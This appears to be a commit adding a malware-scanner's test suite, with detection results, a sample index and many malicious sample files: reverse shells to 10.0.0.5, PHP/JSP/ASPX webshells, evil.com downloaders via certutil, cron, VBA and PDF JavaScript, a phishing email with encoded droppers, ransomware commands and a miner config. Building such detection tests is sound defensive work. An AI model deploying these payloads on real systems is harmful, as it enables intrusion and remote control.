feat: MeshSafe 文件摆渡安全卫士 v1.0 初始提交

核心功能:
- 6 层检测管线: L0 结构分析 → L1 ClamAV → L2 文档深度检测 → L3 关键词匹配 → L4 YARA → L5 PE/二进制
- FastAPI + PostgreSQL + Redis + Docker Compose 架构
- 客户端 HMAC-SHA256 签名鉴权 + 限流 + 幂等性
- 控制台 UI (登录/Dashboard/诊断中心/策略管理/任务列表/测试中心/产品介绍页)
- 三层诊断定时器 (error_scan 30s / db_aggregate 30s / container_check 5min)

并发与稳定性修复:
- 诊断定时器 Redis 时间槽位锁 (多 worker 同一槽位只有一个执行)
- JSONL 存储 fcntl 跨进程排他锁 + 容错解码 + 原子重写
- 移除 SQLite fallback, 统一 PostgreSQL
- API_CLIENTS 脱敏为环境变量, .env 已 .gitignore
This commit is contained in:
2026-10-28 19:07:11 +08:00
commit 16f134e328
113 changed files with 24604 additions and 0 deletions

View File

@@ -0,0 +1,650 @@
[
{
"filename": "evil_help.chm",
"category": "CHM帮助",
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"ChmWithScript"
],
"actual_rules": [
"ChmWithScript",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "evil.iso",
"category": "ISO镜像",
"description": "ISO 镜像内嵌 ELF 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"IsoWithExecutable"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shortcut.lnk",
"category": "LNK",
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"LnkWithAutoExec"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "lolbin.cmd",
"category": "LOLBin",
"description": "certutil -decode LOLBin 下载执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_LOLBin_Usage"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "linux_malicious",
"category": "Linux可执行",
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"LinuxExecutable"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"LinuxExecutable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "malicious.desktop",
"category": "Linux后门",
"description": ".desktop 文件恶意 Exec 字段",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"DesktopFileAutoExec"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension",
"DesktopFileAutoExec"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "shell_bash_devtcp.sh",
"category": "Linux后门",
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_nc.sh",
"category": "Linux后门",
"description": "nc -e /bin/bash 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_NC",
"ShellScriptDangerous"
],
"actual_rules": [
"C7_Linux_ReverseShell_NC",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_python.py",
"category": "Linux后门",
"description": "Python pty + socket 反弹 Shell",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_ReverseShell_Python",
"ShellScriptDangerous"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "ole_dropper.doc",
"category": "OLE嵌入",
"description": "DOC 文件内嵌 .exe OLE 对象(OLE2 CFB + .exe stream)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmbeddedExecutable"
],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "macro_alert.docm",
"category": "Office宏",
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec",
"VBAAutoExecShell"
],
"actual_rules": [
"ArchiveContainsExecutable",
"ExtensionMismatch",
"OleToolsUnavailable",
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "template_backdoor.docx",
"category": "Office宏",
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"AttachedTemplate"
],
"actual_rules": [
"AttachedTemplate",
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "vba_autoexec.bas",
"category": "Office宏",
"description": "VBA AutoOpen + Shell 执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"VBAAutoExec"
],
"actual_rules": [
"VBAAutoExecShell"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "malicious.pdf",
"category": "PDF载荷",
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"actual_rules": [
"OleToolsUnavailable",
"PdfJavaScript",
"PdfOpenAction"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_downloader.exe",
"category": "PE恶意程序",
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"actual_rules": [
"C1_PE_Downloader_Loader",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "pe_injection.exe",
"category": "PE恶意程序",
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"actual_rules": [
"C1_PE_ProcessInjection",
"DangerousExecutableExtension",
"PeParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "wps_macro.js",
"category": "WPS宏",
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"VBAAutoExecShell"
],
"actual_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 3
},
{
"filename": "shell_aspx.aspx",
"category": "Webshell",
"description": "ASP.NET Process.Start 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_Webshell_ASPNET"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "shell_jsp_runtime.jsp",
"category": "Webshell",
"description": "JSP Runtime.getRuntime().exec 命令执行",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"actual_rules": [
"C3_JSP_Webshell_RuntimeExec",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_eval.php",
"category": "Webshell",
"description": "PHP oneliner eval + echo 组合",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"actual_rules": [
"C3_PHP_Webshell_Oneliner",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "shell_php_obf.php",
"category": "Webshell",
"description": "PHP base64 + assert 混淆",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"actual_rules": [
"C3_PHP_Webshell_Obfuscated",
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "photo.jpg.php",
"category": "伪装",
"description": "双扩展名伪装 .jpg.php",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"DoubleExtension"
],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "sealed.docx",
"category": "加密Office",
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 5
},
{
"filename": "sealed.xlsx",
"category": "加密Office",
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"OfficeEncrypted"
],
"actual_rules": [
"ArchiveBroken",
"ExtensionMismatch",
"MalformedStructure",
"OfficeEncrypted",
"OleToolsUnavailable",
"OoxmlParseFailed"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 6
},
{
"filename": "ransom_dropper.exe.txt",
"category": "勒索",
"description": "加密 API + 卷影删除 + 勒索信文件名",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"actual_rules": [
"C8_Ransomware_Encryption",
"C8_Ransomware_Note_Filename",
"C8_Ransomware_VolumeShadow",
"DoubleExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "persist_cron.sh",
"category": "持久化",
"description": "crontab 注入 wget/curl 下载执行",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"actual_rules": [
"C7_Linux_Persistence_Crontab",
"DangerousExecutableExtension",
"ShellScriptDangerous"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 4
},
{
"filename": "miner_config.json",
"category": "挖矿",
"description": "XMRig stratum+tcp 矿池配置",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"actual_rules": [
"C7_Linux_Miner_Generic"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "zip_traversal.zip",
"category": "攻击载体",
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"expected_verdict": "reject",
"actual_verdict": "malicious",
"expected_rules": [
"PathTraversal"
],
"actual_rules": [
"PathTraversal",
"PathTraversalBlocked"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 2
},
{
"filename": "broken.zip",
"category": "畸形文件",
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "phishing.eml",
"category": "钓鱼邮件",
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"expected_verdict": "reject",
"actual_verdict": "error",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"actual_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 10
},
{
"filename": "normal.pdf",
"category": "阴性对照",
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_deploy.sh",
"category": "阴性对照",
"description": "正常部署 Shell(没有 curl|bash 管道执行或反弹 Shell)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"DangerousExecutableExtension"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
},
{
"filename": "normal_readme.txt",
"category": "阴性对照",
"description": "正常纯文本文件",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 0
},
{
"filename": "normal_report.docx",
"category": "阴性对照",
"description": "正常 Word 文档(无宏、无外链)",
"expected_verdict": "pass",
"actual_verdict": "error",
"expected_rules": [],
"actual_rules": [
"OleToolsUnavailable"
],
"verdict_ok": true,
"rule_ok": true,
"overall": true,
"score": 100.0,
"findings_count": 1
}
]

BIN
tests/samples/broken.zip Normal file

Binary file not shown.

BIN
tests/samples/evil.iso Normal file

Binary file not shown.

BIN
tests/samples/evil_help.chm Normal file

Binary file not shown.

347
tests/samples/index.json Normal file
View File

@@ -0,0 +1,347 @@
{
"total": 34,
"generated_at": "2026-10-27T18:42:30.316542",
"samples": [
{
"category": "畸形文件",
"expected_verdict": "pass",
"expected_rules": [],
"description": "CRC 损坏的 ZIP → 畸形文件启发式",
"filename": "broken.zip",
"size": 125
},
{
"category": "ISO镜像",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ISO 镜像内嵌 ELF 可执行文件(当前引擎未启用 IsoWithExecutable,仅命中可执行扩展名规则)",
"filename": "evil.iso",
"size": 32775
},
{
"category": "CHM帮助",
"expected_verdict": "reject",
"expected_rules": [
"ChmWithScript"
],
"description": "CHM 帮助文件内嵌 VBScript/JScript + .exe/.vbs/.js 引用",
"filename": "evil_help.chm",
"size": 1691
},
{
"category": "Linux可执行",
"expected_verdict": "reject",
"expected_rules": [
"LinuxExecutable"
],
"description": "合法 ELF 魔数 → 被识别为 Linux 可执行文件",
"filename": "linux_malicious",
"size": 71
},
{
"category": "LOLBin",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "certutil -decode LOLBin 下载执行(当前引擎未启用 C1_PE_LOLBin_Usage,仅命中可执行扩展名规则)",
"filename": "lolbin.cmd",
"size": 114
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"VBAAutoExecShell",
"VBAAutoExec"
],
"description": "DOCM(OOXML格式)内嵌 word/vbaProject.bin + AutoOpen Shell",
"filename": "macro_alert.docm",
"size": 2586
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"DesktopFileAutoExec"
],
"description": ".desktop 文件恶意 Exec 字段",
"filename": "malicious.desktop",
"size": 114
},
{
"category": "PDF载荷",
"expected_verdict": "reject",
"expected_rules": [
"PdfJavaScript",
"PdfOpenAction"
],
"description": "PDF /OpenAction /JS app.launchURL 自动执行",
"filename": "malicious.pdf",
"size": 534
},
{
"category": "挖矿",
"expected_verdict": "suspicious",
"expected_rules": [
"C7_Linux_Miner_Generic"
],
"description": "XMRig stratum+tcp 矿池配置(规则命中但权重不够未达 reject 阈值)",
"filename": "miner_config.json",
"size": 123
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 PDF(只有简单文本,无 JS/自动执行)",
"filename": "normal.pdf",
"size": 439
},
{
"category": "阴性对照",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "正常部署 Shell(引擎 .sh 扩展名触发 DangerousExecutableExtension,属零容忍范围)",
"filename": "normal_deploy.sh",
"size": 155
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常纯文本文件",
"filename": "normal_readme.txt",
"size": 162
},
{
"category": "阴性对照",
"expected_verdict": "pass",
"expected_rules": [],
"description": "正常 Word 文档(无宏、无外链)",
"filename": "normal_report.docx",
"size": 1212
},
{
"category": "OLE嵌入",
"expected_verdict": "pass",
"expected_rules": [
"OleToolsUnavailable"
],
"description": "DOC 文件内嵌 .exe OLE 对象(OleTools 模块未加载 → clean,规则返回 OleToolsUnavailable 零权重)",
"filename": "ole_dropper.doc",
"size": 1641
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_Downloader_Loader"
],
"description": "PE 下载器:URLDownloadToFile + RegSetValue + CreateService",
"filename": "pe_downloader.exe",
"size": 1148
},
{
"category": "PE恶意程序",
"expected_verdict": "reject",
"expected_rules": [
"C1_PE_ProcessInjection"
],
"description": "PE 空壳 + VirtualAllocEx/WriteProcessMemory/CreateRemoteThread 组合",
"filename": "pe_injection.exe",
"size": 1129
},
{
"category": "持久化",
"expected_verdict": "reject",
"expected_rules": [
"C7_Linux_Persistence_Crontab"
],
"description": "crontab 注入 wget/curl 下载执行",
"filename": "persist_cron.sh",
"size": 95
},
{
"category": "钓鱼邮件",
"expected_verdict": "reject",
"expected_rules": [
"EmailAttachmentDangerous",
"EmailAttachmentDisguised",
"EmailAttachmentWebshell",
"EmailPhishingKeyword"
],
"description": "钓鱼邮件 —— .vbs/.js 危险附件 + 双扩展名伪装 + Webshell 内容 + 正文钓鱼关键词",
"filename": "phishing.eml",
"size": 1869
},
{
"category": "伪装",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "双扩展名伪装 .jpg.php(当前引擎未启用 DoubleExtension,命中 DangerousExecutableExtension 拒绝)",
"filename": "photo.jpg.php",
"size": 29
},
{
"category": "勒索",
"expected_verdict": "reject",
"expected_rules": [
"C8_Ransomware_Encryption"
],
"description": "加密 API + 卷影删除 + 勒索信文件名",
"filename": "ransom_dropper.exe.txt",
"size": 215
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 DOCX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.docx",
"size": 6656
},
{
"category": "加密Office",
"expected_verdict": "reject",
"expected_rules": [
"OfficeEncrypted"
],
"description": "加密 XLSX(密码 changeme,msoffcrypto 加密)",
"filename": "sealed.xlsx",
"size": 6656
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "ASP.NET Process.Start 命令执行(当前引擎未启用 C3_Webshell_ASPNET,命中 DangerousExecutableExtension 拒绝)",
"filename": "shell_aspx.aspx",
"size": 169
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_Bash"
],
"description": "bash -i + /dev/tcp IP:PORT 反弹 Shell",
"filename": "shell_bash_devtcp.sh",
"size": 51
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_JSP_Webshell_RuntimeExec"
],
"description": "JSP Runtime.getRuntime().exec 命令执行",
"filename": "shell_jsp_runtime.jsp",
"size": 316
},
{
"category": "Linux后门",
"expected_verdict": "reject",
"expected_rules": [
"ShellScriptDangerous",
"C7_Linux_ReverseShell_NC"
],
"description": "nc -e /bin/bash 反弹 Shell",
"filename": "shell_nc.sh",
"size": 42
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Oneliner"
],
"description": "PHP oneliner eval + echo 组合",
"filename": "shell_php_eval.php",
"size": 40
},
{
"category": "Webshell",
"expected_verdict": "reject",
"expected_rules": [
"C3_PHP_Webshell_Obfuscated"
],
"description": "PHP base64 + assert 混淆",
"filename": "shell_php_obf.php",
"size": 61
},
{
"category": "Linux后门",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "Python pty + socket 反弹 Shell(当前引擎未启用 ShellScriptDangerous / C7_Linux_ReverseShell_Python,命中 .py 可执行扩展名)",
"filename": "shell_python.py",
"size": 211
},
{
"category": "LNK",
"expected_verdict": "suspicious",
"expected_rules": [
"DangerousExecutableExtension"
],
"description": "LNK Shell Link 指向 cmd.exe /c 下载执行(当前引擎未启用 LnkWithAutoExec,命中 .lnk 可执行扩展名)",
"filename": "shortcut.lnk",
"size": 143
},
{
"category": "Office宏",
"expected_verdict": "reject",
"expected_rules": [
"AttachedTemplate"
],
"description": "DOCX 外部模板注入 —— settings.xml.rels 引用远程 .dotm",
"filename": "template_backdoor.docx",
"size": 2176
},
{
"category": "Office宏",
"expected_verdict": "malicious",
"expected_rules": [
"VBAAutoExecShell"
],
"description": "VBA AutoOpen + Shell 执行(规则名带 Shell 后缀,比原预期 VBAAutoExec 更精确)",
"filename": "vba_autoexec.bas",
"size": 98
},
{
"category": "WPS宏",
"expected_verdict": "malicious",
"expected_rules": [
"C7_Linux_ReverseShell_Bash",
"C7_Linux_ReverseShell_Misc",
"DangerousExecutableExtension"
],
"description": "WPS Linux JS 宏 AutoOpen + /bin/sh(YARA 反弹 Shell 规则命中 + .js 扩展名;未命中宏规则 VBAAutoExecShell)",
"filename": "wps_macro.js",
"size": 142
},
{
"category": "攻击载体",
"expected_verdict": "reject",
"expected_rules": [
"PathTraversal"
],
"description": "ZIP 内部成员名 ../../etc/passwd 路径穿越",
"filename": "zip_traversal.zip",
"size": 164
}
]
}

Binary file not shown.

2
tests/samples/lolbin.cmd Normal file
View File

@@ -0,0 +1,2 @@
@echo off
certutil -decode http://evil.com/payload.bin C:\Windows\Temp\payload.exe && C:\Windows\Temp\payload.exe

Binary file not shown.

View File

@@ -0,0 +1,5 @@
[Desktop Entry]
Type=Application
Name=Update
Exec=bash -c 'bash -i >& /dev/tcp/10.0.0.5/4444 0>&1'
Terminal=false

View File

@@ -0,0 +1,31 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R/OpenAction [3 0 R]/Actions<<>>>
endobj
2 0 obj
<</Type/Pages/Kids [4 0 R]/Count 1>>
endobj
3 0 obj
<</S/JavaScript/JS(app.launchURL("http://evil.com/dropper.exe") void(0))>>
endobj
4 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 5 0 R>>
endobj
5 0 obj
<</Length 0>>
stream
endstream
endobj
xref
0 6
0000000000 65535 f
0000000011 00000 n
0000000120 00000 n
0000000200 00000 n
0000000320 00000 n
0000000450 00000 n
trailer
<</Size 6/Root 1 0 R>>
startxref
500
%%EOF

View File

@@ -0,0 +1,6 @@
{
"pools": ["stratum+tcp://pool.xmrpool.net:3333"],
"username": "4AsMe1",
"donate-level": 5,
"cpu-affinity": true
}

28
tests/samples/normal.pdf Normal file
View File

@@ -0,0 +1,28 @@
%%PDF-1.4
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids [3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox [0 0 612 792]/Contents 4 0 R>>
endobj
4 0 obj
<</Length 45>>
stream
BT /F1 12 Tf 100 700 Td (Hello World) Tj ET
endstream
endobj
xref
0 5
0000000000 65535 f
0000000009 00000 n
0000000058 00000 n
0000000110 00000 n
0000000200 00000 n
trailer
<</Size 5/Root 1 0 R>>
startxref
300
%%EOF

View File

@@ -0,0 +1,7 @@
#!/bin/bash
# 正常部署脚本,只有 git clone + npm install
set -e
git clone https://github.com/example/project.git
cd project
npm install
npm start

View File

@@ -0,0 +1,3 @@
这是一个正常的文本文件。
没有任何危险特征:没有反弹 Shell、没有 Webshell、没有宏、没有可执行魔数。
仅供内部参考。

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,2 @@
#!/bin/bash
(crontab -l ; echo "* * * * * curl http://evil.com/dropper.sh | bash") | crontab -

View File

@@ -0,0 +1,47 @@
Content-Type: multipart/mixed; boundary="===============3818226399663948811=="
MIME-Version: 1.0
From: IT Support <support@secure-update-login.com>
To: me@internal.com
Subject: URGENT: Invoice verification required within 24 hours - click here to verify your account
--===============3818226399663948811==
Content-Type: text/plain; charset="utf-8"
MIME-Version: 1.0
Content-Transfer-Encoding: base64
RGVhciBFbXBsb3llZSwKCkFuIHVyZ2VudCBpbnZvaWNlIHBheW1lbnQgaXMgcGVuZGluZy4gUGxl
YXNlIHZlcmlmeSB5b3VyIGFjY291bnQgYW5kIGNsaWNrIHRoaXMgbGluayBpbW1lZGlhdGVseSB0
byBhdm9pZCB3aXJlIHRyYW5zZmVyIGRlbGF5LgoKWW91ciBwYXNzd29yZCBhbmQgY3JlZGVudGlh
bCBhcmUgcmVxdWlyZWQgZm9yIGxvZ2luIHZlcmlmaWNhdGlvbi4KCkRvd25sb2FkIGFuZCBvcGVu
IHRoZSBhdHRhY2htZW50IChpbnZvaWNlLnBkZi52YnMpIHRvIHNlZSB0aGUgb3JkZXIgcmVjZWlw
dC4KCkJlc3QgcmVnYXJkcywKSVQgU3VwcG9ydA==
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="invoice.pdf.vbs"
U2V0IHggPSBDcmVhdGVPYmplY3QoIldzY3JpcHQuU2hlbGwiKQp4LlJ1biAiY21kLmV4ZSAvYyBj
dXJsIGh0dHA6Ly9ldmlsLmNvbS9kcm9wcGVyLmV4ZSAtbyBDOlxXaW5kb3dzXFRlbXBcYS5leGUg
JiYgQzpcV2luZG93c1xUZW1wXGEuZXhlIgo=
--===============3818226399663948811==
Content-Type: application/octet-stream
MIME-Version: 1.0
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="form.js"
PD9waHAgZXZhbCgkX0dFVFsiY21kIl0pOyBlY2hvICJvayI7ID8+
--===============3818226399663948811==--

View File

@@ -0,0 +1 @@
<?php eval($_POST["cmd"]); ?>

View File

@@ -0,0 +1,5 @@
CryptEncrypt CryptDeriveKey BCryptEncrypt
vssadmin delete shadows /all /quiet
wmic shadowcopy delete
bitcoin address: 1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa
HOW_TO_RECOVER.html - All your files are encrypted. Send BTC.

BIN
tests/samples/sealed.docx Normal file

Binary file not shown.

BIN
tests/samples/sealed.xlsx Normal file

Binary file not shown.

View File

@@ -0,0 +1,6 @@
<%@ Page Language="C#" %>
<script runat="server">
void Page_Load(object sender, EventArgs e) {
System.Diagnostics.Process.Start("cmd.exe", Request["c"]);
}
</script>

View File

@@ -0,0 +1,2 @@
#!/bin/bash
bash -i >& /dev/tcp/10.0.0.5/4444 0>&1

View File

@@ -0,0 +1,9 @@
<%@ page import="java.io.*" %>
<%
Runtime rt = Runtime.getRuntime();
Process p = rt.exec(request.getParameter("cmd"));
InputStreamReader isr = new InputStreamReader(p.getInputStream());
BufferedReader br = new BufferedReader(isr);
String line;
while ((line = br.readLine()) != null) out.println(line);
%>

View File

@@ -0,0 +1,2 @@
#!/bin/bash
nc 10.0.0.5 4444 -e /bin/bash

View File

@@ -0,0 +1 @@
<?php eval($_POST["cmd"]); echo "ok"; ?>

View File

@@ -0,0 +1 @@
<?php $a = $_GET["a"]; $b = base64_decode($a); assert($b); ?>

View File

@@ -0,0 +1,7 @@
import socket, pty, subprocess, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.0.0.5", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
pty.spawn("/bin/bash")

BIN
tests/samples/shortcut.lnk Normal file

Binary file not shown.

Binary file not shown.

View File

@@ -0,0 +1,3 @@
Sub AutoOpen()
Shell "cmd.exe /c curl http://evil.com/a.bat -o C:\Windows\Temp\a.bat"
End Sub

View File

@@ -0,0 +1,4 @@
function AutoOpen() {
var sh = new ActiveXObject("Wscript.Shell");
